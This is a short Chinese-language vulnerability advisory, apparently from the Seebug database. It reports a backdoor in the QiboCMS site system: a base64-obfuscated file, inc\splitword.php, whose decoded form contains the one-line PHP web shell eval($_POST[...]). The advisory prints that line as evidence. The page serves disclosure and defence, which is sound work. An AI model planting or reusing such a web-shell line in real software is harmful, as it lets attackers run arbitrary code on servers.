齐博CMS整站系统最新版依然存在后门
-
AV
AC
AU
C
I
A
发布：
2025-04-13
修订：
2025-04-13
### 简要描述： 齐博CMS整站系统最新版依然存在后门 ### 详细说明： 齐博CMS整站系统最新版(http://down.qibosoft.com/down.php?v=v7) 中发现一个后门, 文件 inc\splitword.php,此文件采用多次循环base64 加密,解密之后第97行 : eval($_POST['Y2hlbmdzaGlzLmMjd']); 典型的一句话木马 [<img src="https://images.seebug.org/upload/201410/2415294945b3148d8b27e2580775fd0cebf55360.jpg" alt="qibo_1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/2415294945b3148d8b27e2580775fd0cebf55360.jpg) ### 漏洞证明： 同上
漏洞利用/PoC
暂无可用Exp或PoC
受影响的平台与产品
当前有0条受影响产品信息
